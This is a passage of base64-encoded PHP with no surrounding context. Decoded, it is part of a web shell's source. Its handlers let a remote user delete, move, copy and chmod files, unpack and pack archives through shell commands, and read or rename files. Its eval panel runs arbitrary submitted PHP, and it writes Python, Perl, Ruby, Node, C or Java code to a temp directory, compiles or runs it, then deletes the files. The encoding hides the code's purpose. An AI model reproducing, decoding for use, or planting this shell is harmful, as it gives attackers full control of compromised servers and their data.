gkemlwLT5vcGVuKCRmKSl7DQoJCQkJCQlpZighQGlzX2Rpcigkc190YXJnZXQpKSBAbWtkaXIoJHNfdGFyZ2V0KTsNCgkJCQkJCWlmKCR6aXAtPmV4dHJhY3RUbygkc190YXJnZXQpKSAkc19yZXN1bHQgLj0gbm90aWYoIkZpbGVzIGV4dHJhY3RlZCB0byAiLmhzcygkc190YXJnZXQpKTsNCgkJCQkJCWVsc2UgJHNfcmVzdWx0IC49IG5vdGlmKCJFcnJvciBleHRyYXRpbmcgYXJjaGl2ZSBmaWxlIik7DQoJCQkJCQkkemlwLT5jbG9zZSgpOw0KCQkJCQl9DQoJCQkJCWVsc2UgJHNfcmVzdWx0IC49IG5vdGlmKCJFcnJvciBvcGVuaW5nIGFyY2hpdmUgZmlsZSIpOw0KCQkJCX0NCgkJCX0NCgkJCWVsc2VpZihpc3NldCgkX0dQWydleHRyYWN0dGFyb2snXSkpew0KCQkJCSRzX2ZpbGUgPSAkX0dQWydleHRyYWN0dGFyb2snXTsNCgkJCQlmb3JlYWNoKCRzX2xpc3RzIGFzICRmKXsNCgkJCQkJJHNfdGFyZ2V0ID0gIiI7DQoJCQkJCSRzX3RhcmdldCA9IGJhc2VuYW1lKCRmLCIudGFyIik7DQoJCQkJCWlmKCFAaXNfZGlyKCRzX3RhcmdldCkpIEBta2Rpcigkc190YXJnZXQpOw0KCQkJCQlleGUoInRhciB4ZiBcIiIuYmFzZW5hbWUoJGYpLiJcIiAtQyBcIiIuJHNfdGFyZ2V0LiJcIiIpOw0KCQkJCX0NCgkJCX0NCgkJCWVsc2VpZihpc3NldCgkX0dQWydleHRyYWN0dGFyZ3pvayddKSl7DQoJCQkJJHNfZmlsZSA9ICRfR1BbJ2V4dHJhY3R0YXJnem9rJ107DQoJCQkJZm9yZWFjaCgkc19saXN0cyBhcyAkZil7DQoJCQkJCSRzX3RhcmdldCA9ICIiOw0KCQkJCQlpZihzdHJwb3Moc3RydG9sb3dlcigkZiksICIudGFyLmd6IikhPT1mYWxzZSkgJHNfdGFyZ2V0ID0gYmFzZW5hbWUoJGYsIi50YXIuZ3oiKTsNCgkJCQkJZWxzZWlmKHN0cnBvcyhzdHJ0b2xvd2VyKCRmKSwgIi50Z3oiKSE9PWZhbHNlKSAkc190YXJnZXQgPSBiYXNlbmFtZSgkZiwiLnRneiIpOw0KCQkJCQlpZighQGlzX2Rpcigkc190YXJnZXQpKSBAbWtkaXIoJHNfdGFyZ2V0KTsNCgkJCQkJZXhlKCJ0YXIgeHpmIFwiIi5iYXNlbmFtZSgkZikuIlwiIC1DIFwiIi4kc190YXJnZXQuIlwiIik7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCXNldGNvb2tpZSgiYnVmZmVyIiwgIiIgLHRpbWUoKSAtICRzX2xvZ2luX3RpbWUpOw0KCQlzZXRjb29raWUoIm1hc3NhY3QiLCAiIiAsdGltZSgpIC0gJHNfbG9naW5fdGltZSk7DQoJfQ0KCWlmKGlzc2V0KCRfR1BbJ3knXSkpew0KCQkkc19tYXNzYWN0ID0gaXNzZXQoJF9DT09LSUVbJ21hc3NhY3QnXSk/ICRfQ09PS0lFWydtYXNzYWN0J106IiI7DQoJCSRzX2J1ZmZlciA9IGlzc2V0KCRfQ09PS0lFWydidWZmZXInXSk/IHJ0cmltKHNzKCRfQ09PS0lFWydidWZmZXInXSksInwiKToiIjsNCgkJJHNfbGlzdHMgPSBleHBsb2RlKCJ8IiwgJHNfYnVmZmVyKTsNCg0KCQlpZighZW1wdHkoJHNfYnVmZmVyKSl7DQoJCQlpZigkX0dQWyd5J109PSdkZWxldGUnKXsNCgkJCQkkc19yZXN1bHQgLj0gbm90aWYoIkRlbGV0ZSA/IDxhIGhyZWY9JyIuJHNfc2VsZi4iej1kZWxvayIuIic+WWVzPC9hPiB8IDxhIGhyZWY9JyIuJHNfc2VsZi4iJz5ObzwvYT4iKTsNCgkJCQlmb3JlYWNoKCRzX2xpc3RzIGFzICRzX2wpICRzX3Jlc3VsdCAuPSBub3RpZigkc19sKTsNCgkJCX0NCgkJCWVsc2VpZigkX0dQWyd5J109PSdwYXN0ZScgJiYgJHNfbWFzc2FjdD09J2N1dCcpew0KCQkJCSRzX3Jlc3VsdCAuPSBub3RpZigiTW92ZSBoZXJlID8gPGEgaHJlZj0nIi4kc19zZWxmLiJ6PW1vdmVvayIuIic+WWVzPC9hPiB8IDxhIGhyZWY9JyIuJHNfc2VsZi4iJz5ObzwvYT4iKTsNCgkJCQlmb3JlYWNoKCRzX2xpc3RzIGFzICRzX2wpICRzX3Jlc3VsdCAuPSBub3RpZigkc19sKTsNCgkJCX0NCgkJCWVsc2VpZigkX0dQWyd5J109PSdwYXN0ZScgJiYgJHNfbWFzc2FjdD09J2NvcHknKXsNCgkJCQkkc19yZXN1bHQgLj0gbm90aWYoIkNvcHkgaGVyZSA/IDxhIGhyZWY9JyIuJHNfc2VsZi4iej1jb3B5b2siLiInPlllczwvYT4gfCA8YSBocmVmPSciLiRzX3NlbGYuIic+Tm88L2E+Iik7DQoJCQkJZm9yZWFjaCgkc19saXN0cyBhcyAkc19sKSAkc19yZXN1bHQgLj0gbm90aWYoJHNfbCk7DQoJCQl9DQoJCQllbHNlaWYoJF9HUFsneSddPT0nY2htb2QnKXsNCgkJCQkkc19yZXN1bHQgLj0gbm90aWYoIlBlcm1pc3Npb25zID8gPGZvcm0gYWN0aW9uPSciLiRzX3NlbGYuIicgbWV0aG9kPSdwb3N0Jz48aW5wdXQgY2xhc3M9J2lucHV0eicgdHlwZT0ndGV4dCcgdmFsdWU9JzA3NTUnIG5hbWU9J2NobW9kb2snIHN0eWxlPSd3aWR0aDozMHB4O3RleHQtYWxpZ246Y2VudGVyOycgbWF4bGVuZ3RoPSc0JyAvPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyBuYW1lPSd6JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdHbyAhJyAvPjwvZm9ybT4iKTsNCgkJCQlmb3JlYWNoKCRzX2xpc3RzIGFzICRzX2wpICRzX3Jlc3VsdCAuPSBub3RpZigkc19sKTsNCgkJCX0NCgkJCWVsc2VpZigkX0dQWyd5J109PSd0b3VjaCcpew0KCQkJCSRzX3Jlc3VsdCAuPSBub3RpZigiVG91Y2ggPyA8Zm9ybSBhY3Rpb249JyIuJHNfc2VsZi4iJyBtZXRob2Q9J3Bvc3QnPjxpbnB1dCBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyB2YWx1ZT0nIi5AZGF0ZSgiZC1NLVkgSDppOnMiLHRpbWUoKSkuIicgbmFtZT0ndG91Y2hvaycgc3R5bGU9J3dpZHRoOjEzMHB4O3RleHQtYWxpZ246Y2VudGVyOycgLz48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgbmFtZT0neicgdHlwZT0nc3VibWl0JyB2YWx1ZT0nR28gIScgLz48L2Zvcm0+Iik7DQoJCQkJZm9yZWFjaCgkc19saXN0cyBhcyAkc19sKSAkc19yZXN1bHQgLj0gbm90aWYoJHNfbCk7DQoJCQl9DQoJCQllbHNlaWYoJF9HUFsneSddPT0nZXh0cmFjdHppcCcpew0KCQkJCSRzX3Jlc3VsdCAuPSBub3RpZigiRXh0cmFjdCB0byA/IDxmb3JtIGFjdGlvbj0nIi4kc19zZWxmLiInIG1ldGhvZD0ncG9zdCc+PGlucHV0IGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIHZhbHVlPSciLmhzcygkc19jd2QpLiInIG5hbWU9J2V4dHJhY3R6aXBvaycgc3R5bGU9J3dpZHRoOjUwJTsnIC8+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIG5hbWU9J3onIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvICEnIC8+PC9mb3JtPiIpOw0KCQkJCWZvcmVhY2goJHNfbGlzdHMgYXMgJHNfbCkgJHNfcmVzdWx0IC49IG5vdGlmKCRzX2wpOw0KCQkJfQ0KCQkJZWxzZWlmKCRfR1BbJ3knXT09J2V4dHJhY3R0YXInKXsNCgkJCQkkc19yZXN1bHQgLj0gbm90aWYoIkV4dHJhY3QgdG8gPyA8Zm9ybSBhY3Rpb249JyIuJHNfc2VsZi4iJyBtZXRob2Q9J3Bvc3QnPjxpbnB1dCBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyB2YWx1ZT0nIi5oc3MoJHNfY3dkKS4iJyBuYW1lPSdleHRyYWN0dGFyb2snIHN0eWxlPSd3aWR0aDo1MCU7JyAvPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyBuYW1lPSd6JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdHbyAhJyAvPjwvZm9ybT4iKTsNCgkJCQlmb3JlYWNoKCRzX2xpc3RzIGFzICRzX2wpICRzX3Jlc3VsdCAuPSBub3RpZigkc19sKTsNCgkJCX0NCgkJCWVsc2VpZigkX0dQWyd5J109PSdleHRyYWN0dGFyZ3onKXsNCgkJCQkkc19yZXN1bHQgLj0gbm90aWYoIkV4dHJhY3QgdG8gPyA8Zm9ybSBhY3Rpb249JyIuJHNfc2VsZi4iJyBtZXRob2Q9J3Bvc3QnPjxpbnB1dCBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyB2YWx1ZT0nIi5oc3MoJHNfY3dkKS4iJyBuYW1lPSdleHRyYWN0dGFyZ3pvaycgc3R5bGU9J3dpZHRoOjUwJTsnIC8+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIG5hbWU9J3onIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvICEnIC8+PC9mb3JtPiIpOw0KCQkJCWZvcmVhY2goJHNfbGlzdHMgYXMgJHNfbCkgJHNfcmVzdWx0IC49IG5vdGlmKCRzX2wpOw0KCQkJfQ0KCQkJZWxzZWlmKCRfR1BbJ3knXT09J2NvbXByZXNzemlwJyl7DQoJCQkJJHNfcmVzdWx0IC49IG5vdGlmKCJDb21wcmVzcyB0byA/IDxmb3JtIGFjdGlvbj0nIi4kc19zZWxmLiInIG1ldGhvZD0ncG9zdCc+PGlucHV0IGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIHZhbHVlPSciLmhzcygkc19jd2QpLnN1YnN0cihtZDUodGltZSgpKSwwLDgpLiIuemlwJyBuYW1lPSdjb21wcmVzc3ppcG9rJyBzdHlsZT0nd2lkdGg6NTAlOycgLz48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgbmFtZT0neicgdHlwZT0nc3VibWl0JyB2YWx1ZT0nR28gIScgLz48L2Zvcm0+Iik7DQoJCQkJZm9yZWFjaCgkc19saXN0cyBhcyAkc19sKSAkc19yZXN1bHQgLj0gbm90aWYoJHNfbCk7DQoJCQl9DQoJCQllbHNlaWYoJF9HUFsneSddPT0nY29tcHJlc3N0YXInKXsNCgkJCQkkc19yZXN1bHQgLj0gbm90aWYoIkNvbXByZXNzIHRvID8gPGZvcm0gYWN0aW9uPSciLiRzX3NlbGYuIicgbWV0aG9kPSdwb3N0Jz48aW5wdXQgY2xhc3M9J2lucHV0eicgdHlwZT0ndGV4dCcgdmFsdWU9JyIuaHNzKCRzX2N3ZCkuc3Vic3RyKG1kNSh0aW1lKCkpLDAsOCkuIi50YXInIG5hbWU9J2NvbXByZXNzdGFyb2snIHN0eWxlPSd3aWR0aDo1MCU7JyAvPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyBuYW1lPSd6JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdHbyAhJyAvPjwvZm9ybT4iKTsNCgkJCQlmb3JlYWNoKCRzX2xpc3RzIGFzICRzX2wpICRzX3Jlc3VsdCAuPSBub3RpZigkc19sKTsNCgkJCX0NCgkJCWVsc2VpZigkX0dQWyd5J109PSdjb21wcmVzc3Rhcmd6Jyl7DQoJCQkJJHNfcmVzdWx0IC49IG5vdGlmKCJDb21wcmVzcyB0byA/IDxmb3JtIGFjdGlvbj0nIi4kc19zZWxmLiInIG1ldGhvZD0ncG9zdCc+PGlucHV0IGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIHZhbHVlPSciLmhzcygkc19jd2QpLnN1YnN0cihtZDUodGltZSgpKSwwLDgpLiIudGFyLmd6JyBuYW1lPSdjb21wcmVzc3Rhcmd6b2snIHN0eWxlPSd3aWR0aDo1MCU7JyAvPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyBuYW1lPSd6JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdHbyAhJyAvPjwvZm9ybT4iKTsNCgkJCQlmb3JlYWNoKCRzX2xpc3RzIGFzICRzX2wpICRzX3Jlc3VsdCAuPSBub3RpZigkc19sKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCS8vIHZpZXcgaW1hZ2Ugc3BlY2lmaWVkIGJ5ID9pbWc9PGZpbGU+DQoJaWYoaXNzZXQoJF9HUFsnaW1nJ10pKXsNCgkJb2JfZW5kX2NsZWFuKCk7DQoJCSRzX2QgPSBpc3NldCgkX0dQWydkJ10pPyAkX0dQWydkJ106IiI7DQoJCSRzX2YgPSAkX0dQWydpbWcnXTsNCgkJJHNfaW5mID0gQGdldGltYWdlc2l6ZSgkc19kLiRzX2YpOw0KCQkkc19leHQgPSBleHBsb2RlKCRzX2YsICIuIik7DQoJCSRzX2V4dCA9ICRzX2V4dFtjb3VudCgkc19leHQpLTFdOw0KCSAJaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJHNfaW5mWyJtaW1lIl0pOw0KCSAJaGVhZGVyKCJDYWNoZS1jb250cm9sOiBwdWJsaWMiKTsNCgkJaGVhZGVyKCJFeHBpcmVzOiAiLkBkYXRlKCJyIiwgQG1rdGltZSgwLDAsMCwxLDEsMjAzMCkpKTsNCgkJaGVhZGVyKCJDYWNoZS1jb250cm9sOiBtYXgtYWdlPSIuKDYwKjYwKjI0KjcpKTsjDQoJIAlyZWFkZmlsZSgkc19kLiRzX2YpOw0KCSAJZGllKCk7DQoJfSAvLyByZW5hbWUgZmlsZSBvciBmb2xkZXINCgllbHNlaWYoaXNzZXQoJF9HUFsnb2xkbmFtZSddKSAmJiBpc3NldCgkX0dQWydyZW5hbWUnXSkpew0KCQkkc19vbGQgPSAkX0dQWydvbGRuYW1lJ107DQoJCSRzX25ldyA9ICRfR1BbJ3JlbmFtZSddOw0KDQoJCSRzX3Jlbm1zZyA9ICIiOw0KCQlpZihAaXNfZGlyKCRzX29sZCkpICRzX3Jlbm1zZyA9IChAcmVuYW1lKCRzX29sZCwgJHNfbmV3KSk/ICJEaXJlY3RvcnkgIi4kc19vbGQuIiByZW5hbWVkIHRvICIuJHNfbmV3IDogIlVuYWJsZSB0byByZW5hbWUgZGlyZWN0b3J5ICIuJHNfb2xkLiIgdG8gIi4kc19uZXc7DQoJCWVsc2VpZihAaXNfZmlsZSgkc19vbGQpKSAkc19yZW5tc2cgPSAoQHJlbmFtZSgkc19vbGQsICRzX25ldykpPyAiRmlsZSAiLiRzX29sZC4iIHJlbmFtZWQgdG8gIi4kc19uZXcgOiAiVW5hYmxlIHRvIHJlbmFtZSBmaWxlICIuJHNfb2xkLiIgdG8gIi4kc19uZXc7DQoJCWVsc2UgJHNfcmVubXNnID0gIkNhbm5vdCBmaW5kIHRoZSBwYXRoIHNwZWNpZmllZCAiLiRzX29sZDsNCg0KCQkkc19yZXN1bHQgLj0gbm90aWYoJHNfcmVubXNnKTsNCgkJJHNfZm5ldyA9ICRzX25ldzsNCgl9IC8vIGNvbmZpcm0gZGVsZXRlDQoJZWxzZWlmKCFlbXB0eSgkX0dQWydkZWwnXSkpew0KCQkkc19kZWwgPSB0cmltKCRfR1BbJ2RlbCddKTsNCgkJJHNfcmVzdWx0IC49IG5vdGlmKCJEZWxldGUgIi5iYXNlbmFtZSgkc19kZWwpLiIgPyA8YSBocmVmPSciLiRzX3NlbGYuImRlbGV0ZT0iLnBsKCRzX2RlbCkuIic+WWVzPC9hPiB8IDxhIGhyZWY9JyIuJHNfc2VsZi4iJz5ObzwvYT4iKTsNCgl9IC8vIGRlbGV0ZSBmaWxlDQoJZWxzZWlmKCFlbXB0eSgkX0dQWydkZWxldGUnXSkpew0KCQkkc19mID0gJF9HUFsnZGVsZXRlJ107DQoJCSRzX2RlbG1zZyA9ICIiOw0KDQoJCWlmKEBpc19maWxlKCRzX2YpKSAkc19kZWxtc2cgPSAodW5saW5rKCRzX2YpKT8gIkZpbGUgcmVtb3ZlZCA6ICIuJHNfZiA6ICJVbmFibGUgdG8gcmVtb3ZlIGZpbGUgIi4kc19mOw0KCQllbHNlaWYoQGlzX2Rpcigkc19mKSl7DQoJCQlybWRpcnMoJHNfZik7DQoJCQkkc19kZWxtc2cgPSAoQGlzX2Rpcigkc19mKSk/ICJVbmFibGUgdG8gcmVtb3ZlIGRpcmVjdG9yeSAiLiRzX2YgOiAiRGlyZWN0b3J5IHJlbW92ZWQgOiAiLiRzX2Y7DQoJCX0NCgkJZWxzZSAkc19kZWxtc2cgPSAiQ2Fubm90IGZpbmQgdGhlIHBhdGggc3BlY2lmaWVkICIuJHNfZjsNCgkJJHNfcmVzdWx0IC49IG5vdGlmKCRzX2RlbG1zZyk7DQoJfSAvLyBjcmVhdGUgZGlyDQoJZWxzZWlmKCFlbXB0eSgkX0dQWydta2RpciddKSl7DQoJCSRzX2YgPSAkc19jd2QuJF9HUFsnbWtkaXInXTsNCgkJJHNfZGlybXNnID0gIiI7DQoNCgkJJHNfbnVtID0gMTsNCgkJaWYoQGlzX2Rpcigkc19mKSl7DQoJCQkkc19wb3MgPSBzdHJycG9zKCRzX2YsIl8iKTsNCgkJCWlmKCRzX3BvcyE9PWZhbHNlKSAkc19udW0gPSAoaW50KSBzdWJzdHIoJHNfZiwgJHNfcG9zKzEpOw0KCQkJd2hpbGUoQGlzX2RpcihzdWJzdHIoJHNfZiwgMCwgJHNfcG9zKS4iXyIuJHNfbnVtKSl7DQoJCQkJJHNfbnVtKys7DQoJCQl9DQoJCQkkc19mID0gc3Vic3RyKCRzX2YsIDAsICRzX3BvcykuIl8iLiRzX251bTsNCgkJfQ0KCQlpZihta2Rpcigkc19mKSkgJHNfZGlybXNnID0gIkRpcmVjdG9yeSBjcmVhdGVkICIuJHNfZjsNCgkJZWxzZSAkc19kaXJtc2cgPSAiVW5hYmxlIHRvIGNyZWF0ZSBkaXJlY3RvcnkgIi4kc19mOw0KDQoJCSRzX3Jlc3VsdCAuPSBub3RpZigkc19kaXJtc2cpOw0KCX0gLy8gcGhwIGV2YWwoKSBmdW5jdGlvbg0KCWlmKGlzc2V0KCRfR1BbJ3gnXSkgJiYgKCRfR1BbJ3gnXT09J2V2YWwnKSl7DQoJCSRzX2NvZGUgPSAiIjsNCgkJJHNfcmVzID0gIiI7DQoJCSRzX2V2YWxvcHRpb24gPSAiIjsNCgkJJHNfbGFuZyA9ICJwaHAiOw0KDQoJCWlmKGlzc2V0KCRfR1BbJ2V2YWxjb2RlJ10pKXsNCgkJCSRzX2NvZGUgPSAkX0dQWydldmFsY29kZSddOw0KCQkJJHNfZXZhbG9wdGlvbiA9IChpc3NldCgkX0dQWydldmFsb3B0aW9uJ10pKT8gJF9HUFsnZXZhbG9wdGlvbiddOiIiOw0KCQkJJHNfdG1wZGlyID0gZ2V0X3dyaXRhYmxlZGlyKCk7DQoNCgkJCWlmKGlzc2V0KCRfR1BbJ2xhbmcnXSkpeyRzX2xhbmcgPSAkX0dQWydsYW5nJ107fQ0KDQoJCQlpZihzdHJ0b2xvd2VyKCRzX2xhbmcpPT0ncGhwJyl7DQoJCQkJb2Jfc3RhcnQoKTsNCgkJCQlldmFsKCRzX2NvZGUpOw0KCQkJCSRzX3JlcyA9IG9iX2dldF9jb250ZW50cygpOw0KCQkJCW9iX2VuZF9jbGVhbigpOw0KCQkJfQ0KCQkJZWxzZWlmKHN0cnRvbG93ZXIoJHNfbGFuZyk9PSdweXRob24nfHxzdHJ0b2xvd2VyKCRzX2xhbmcpPT0ncGVybCd8fHN0cnRvbG93ZXIoJHNfbGFuZyk9PSdydWJ5J3x8c3RydG9sb3dlcigkc19sYW5nKT09J25vZGUnfHxzdHJ0b2xvd2VyKCRzX2xhbmcpPT0nbm9kZWpzJyl7DQoJCQkJJHNfcmFuZCA9IG1kNSh0aW1lKCkucmFuZCgwLDEwMCkpOw0KCQkJCSRzX3NjcmlwdCA9ICRzX3RtcGRpci4kc19yYW5kOw0KCQkJCWlmKGZpbGVfcHV0X2NvbnRlbnRzKCRzX3NjcmlwdCwgJHNfY29kZSkhPT1mYWxzZSl7DQoJCQkJCSRzX3JlcyA9IGV4ZSgkc19sYW5nLiIgIi4kc19ldmFsb3B0aW9uLiIgIi4kc19zY3JpcHQpOw0KCQkJCQl1bmxpbmsoJHNfc2NyaXB0KTsNCgkJCQl9DQoJCQl9DQoJCQllbHNlaWYoc3RydG9sb3dlcigkc19sYW5nKT09J2djYycpew0KCQkJCSRzX3NjcmlwdCA9IG1kNSh0aW1lKCkucmFuZCgwLDEwMCkpOw0KCQkJCWNoZGlyKCRzX3RtcGRpcik7DQoJCQkJaWYoZmlsZV9wdXRfY29udGVudHMoJHNfc2NyaXB0LiIuYyIsICRzX2NvZGUpIT09ZmFsc2Upew0KCQkJCQkkc19zY3JpcHRvdXQgPSAkc193aW4gPyAkc19zY3JpcHQuIi5leGUiIDogJHNfc2NyaXB0Ow0KCQkJCQkkc19yZXMgPSBleGUoImdjYyAiLiRzX3NjcmlwdC4iLmMgLW8gIi4kc19zY3JpcHRvdXQuJHNfZXZhbG9wdGlvbik7DQoJCQkJCWlmKEBpc19maWxlKCRzX3NjcmlwdG91dCkpew0KCQkJCQkJJHNfcmVzID0gJHNfd2luID8gZXhlKCRzX3NjcmlwdG91dCk6ZXhlKCJjaG1vZCAreCAiLiRzX3NjcmlwdG91dC4iIDsgLi8iLiRzX3NjcmlwdG91dCk7DQoJCQkJCQlyZW5hbWUoJHNfc2NyaXB0b3V0LCAkc19zY3JpcHRvdXQuImRlbCIpOw0KCQkJCQkJdW5saW5rKCRzX3NjcmlwdG91dC4iZGVsIik7DQoJCQkJCX0NCgkJCQkJdW5saW5rKCRzX3NjcmlwdC4iLmMiKTsNCgkJCQl9DQoJCQkJY2hkaXIoJHNfY3dkKTsNCgkJCX0NCgkJCWVsc2VpZihzdHJ0b2xvd2VyKCRzX2xhbmcpPT0namF2YScpew0KCQkJCWlmKHByZWdfbWF0Y2goIi9jbGFzc1wgKFtee10rKXsvaSIsJHNfY29kZSwgJHNfcikpew0KCQkJCQkkc19jbGFzc25hbWUgPSB0cmltKCRzX3JbMV0pOw0KCQkJCQkkc19zY3JpcHQgPSAkc19jbGFzc25hbWU7DQoJCQkJfQ0KCQkJCWVsc2V7DQoJCQkJCSRzX3JhbmQgPSAiWG5vbnltb3V4XyIuc3Vic3RyKG1kNSh0aW1lKCkucmFuZCgwLDEwMCkpLDAsOCk7DQoJCQkJCSRzX3NjcmlwdCA9ICRzX3JhbmQ7DQoJCQkJCSRzX2NvZGUgPSAiY2xhc3MgIi4kc19yYW5kLiIgeyAiLiRzX2NvZGUgLiAiIH0gIjsNCgkJCQl9DQoJCQkJY2hkaXIoJHNfdG1wZGlyKTsNCgkJCQlpZihmaWxlX3B1dF9jb250ZW50cygkc19zY3JpcHQuIi5qYXZhIiwgJHNfY29kZSkhPT1mYWxzZSl7DQoJCQkJCSRzX3JlcyA9IGV4ZSgiamF2YWMgIi4kc19zY3JpcHQuIi5qYXZhIik7DQoJCQkJCWlmKEBpc19maWxlKCRzX3NjcmlwdC4iLmNsYXNzIikpew0KCQkJCQkJJHNfcmVzIC49IGV4ZSgiamF2YSAiLiRzX2V2YWxvcHRpb24uIiAiLiRzX3NjcmlwdCk7DQoJCQkJCQl1bmxpbmsoJHNfc2NyaXB0LiIuY2xhc3MiKTsNCgkJCQkJfQ0KCQkJCQl1bmxpbmsoJHNfc2NyaXB0LiIuamF2YSIpOw0KCQkJCX0NCgkJCQljaGRpcigkc19wd2QpOw0KCQkJfQ0KCQl9DQoNCgkJJHNfbGFuZ19hdmFpbGFibGUgPSAiPG9wdGlvbiB2YWx1ZT0ncGhwJz5waHA8L29wdGlvbj4iOw0KCQkkc19zZWxlY3RlZCA9ICIiOw0KCQkkc19hY2Nlc3MgPSBhcnJheSgic19weXRob24iLCAic19wZXJsIiwgInNfcnVieSIsICJzX25vZGUiLCAic19ub2RlanMiLCAic19nY2MiLCAic19qYXZhYyIpOw0KCQlmb3JlYWNoKCRzX2FjY2VzcyBhcyAkcyl7DQoJCQlpZihpc3NldCgkJHMpKXsNCgkJCQkkc190ID0gZXhwbG9kZSgiXyIsICRzKTsNCgkJCQkkc19jaGVja2VkID0gKCRzX2xhbmcgPT0gJHNfdFsxXSk/ICJzZWxlY3RlZCIgOiAiIjsNCgkJCQkkc19sYW5nX2F2YWlsYWJsZSAuPSAiPG9wdGlvbiB2YWx1ZT0nIi4kc190WzFdLiInICIuJHNfY2hlY2tlZC4iPiIuJHNfdFsxXS4iPC9vcHRpb24+IjsNCgkJCX0NCgkJfQ0KDQoJCSRzX2V2YWxvcHRpb25jbGFzcyA9ICgkc19sYW5nPT0icGhwIik/ICJzZW1idW55aSI6IiI7DQoJCSRzX2VfcmVzdWx0ID0gKCFlbXB0eSgkc19yZXMpKT8gIjxwcmUgaWQ9J2V2YWxyZXMnIGNsYXNzPSdidCcgc3R5bGU9J21hcmdpbjo0cHggMCAwIDA7cGFkZGluZzo2cHggMDsnID4iLmhzcygkc19yZXMpLiI8L3ByZT4iOiIiOw0KCQkkc19yZXN1bHQgLj0gIjxmb3JtIGFjdGlvbj0nIi4kc19zZWxmLiInIG1ldGhvZD0ncG9zdCc+DQoJCQkJCTx0ZXh0YXJlYSBpZD0nZXZhbGNvZGUnIG5hbWU9J2V2YWxjb2RlJyBzdHlsZT0naGVpZ2h0OjE1MHB4OycgY2xhc3M9J3R4dGFyZWEnPiIuaHNzKCRzX2NvZGUpLiI8L3RleHRhcmVhPg0KCQkJCQk8dGFibGU+PHRyPjx0ZCBzdHlsZT0ncGFkZGluZzowOyc+PHA+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nZXZhbGNvZGVzdWJtaXQnIGNsYXNzPSdpbnB1dHpidXQnIHZhbHVlPSdHbyAhJyBzdHlsZT0nd2lkdGg6MTIwcHg7aGVpZ2h0OjMwcHg7JyAvPjwvcD4NCgkJCQkJPC90ZD48dGQ+PHNlbGVjdCBuYW1lPSdsYW5nJyBvbmNoYW5nZT0nZXZhbHNlbGVjdCh0aGlzKTsnIGNsYXNzPSdpbnB1dHpidXQnIHN0eWxlPSd3aWR0aDoxMjBweDtoZWlnaHQ6MzBweDtwYWRkaW5nOjRweDsnPg0KCQkJCQkiLiRzX2xhbmdfYXZhaWxhYmxlLiINCgkJCQkJPC9zZWxlY3Q+DQoJCQkJCTwvdGQ+DQoJCQkJCTx0ZD48ZGl2IHRpdGxlPSdJZiB5b3Ugd2FudCB0byBnaXZlIGFkZGl0aW9uYWwgb3B0aW9uIHRvIGludGVycHJldGVyIG9yIGNvbXBpbGVyLCBnaXZlIGl0IGhlcmUnIGlkPSdhZGRpdGlvbmFsb3B0aW9uJyBjbGFzcz0nIi4kc19ldmFsb3B0aW9uY2xhc3MuIic+QWRkaXRpb25hbCBvcHRpb24mbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9J2lucHV0eicgc3R5bGU9J3dpZHRoOjQwMHB4OycgdHlwZT0ndGV4dCcgbmFtZT0nZXZhbG9wdGlvbicgdmFsdWU9JyIuaHNzKCRzX2V2YWxvcHRpb24pLiInIGlkPSdldmFsb3B0aW9uJyAvPjwvZGl2PjwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTwvdGFibGU+DQoJCQkJCSIuJHNfZV9yZXN1bHQuIg0KCQkJCQk8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd4JyB2YWx1ZT0nZXZhbCcgLz4NCgkJCQkJPC9mb3JtPiI7DQoJfSAvLyBmaW5kDQoJZWxzZWlmKGlzc2V0KCRfR1BbJ2ZpbmQnXSkpew0KCQkkc19wID0gJF9HUFsnZmluZCddOw0KDQoJCSRzX3R5cGUgPSBpc3NldCgkX0dQWyd0eXBlJ10pPyAkX0dQWyd0eXBlJ10gOiAic2ZpbGUiOw0KCQkkc19zZm5hbWUgPSAoIWVtcHR5KCRfR1BbJ3NmbmFtZSddKSk/ICRfR1BbJ3NmbmFtZSddOicnOw0KCQkkc19zZG5hbWUgPSAoIWVtcHR5KCRfR1BbJ3NkbmFtZSddKSk/ICRfR1BbJ3NkbmFtZSddOicnOw0KCQkkc19zZmNvbnRhaW4gPSAoIWVtcHR5KCRfR1BbJ3NmY29udGFpbiddKSk/ICRfR1BbJ3NmY29udGFpbiddOicnOw0KDQoJCSRzX3NmbmFtZXJlZ2V4Y2hlY2tlZCA9ICRzX3NmbmFtZWljYXNlY2hlY2tlZCA9ICRzX3NkbmFtZXJlZ2V4Y2hlY2tlZCA9ICRzX3NkbmFtZWljYXNlY2hlY2tlZCA9ICRzX3NmY29udGFpbnJlZ2V4Y2hlY2tlZCA9ICRzX3NmY29udGFpbmljYXNlY2hlY2tlZCA9ICRzX3N3cml0YWJsZWNoZWNrZWQgPSAkc19zcmVhZGFibGVjaGVja2VkID0gJHNfc2V4ZWN1dGFibGVjaGVja2VkID0gIiI7DQoJCSRzX3NmbmFtZXJlZ2V4ID0gJHNfc2ZuYW1laWNhc2UgPSAkc19zZG5hbWVyZWdleCA9ICRzX3NkbmFtZWljYXNlID0gJHNfc2Zjb250YWlucmVnZXggPSAkc19zZmNvbnRhaW5pY2FzZSA9ICRzX3N3cml0YWJs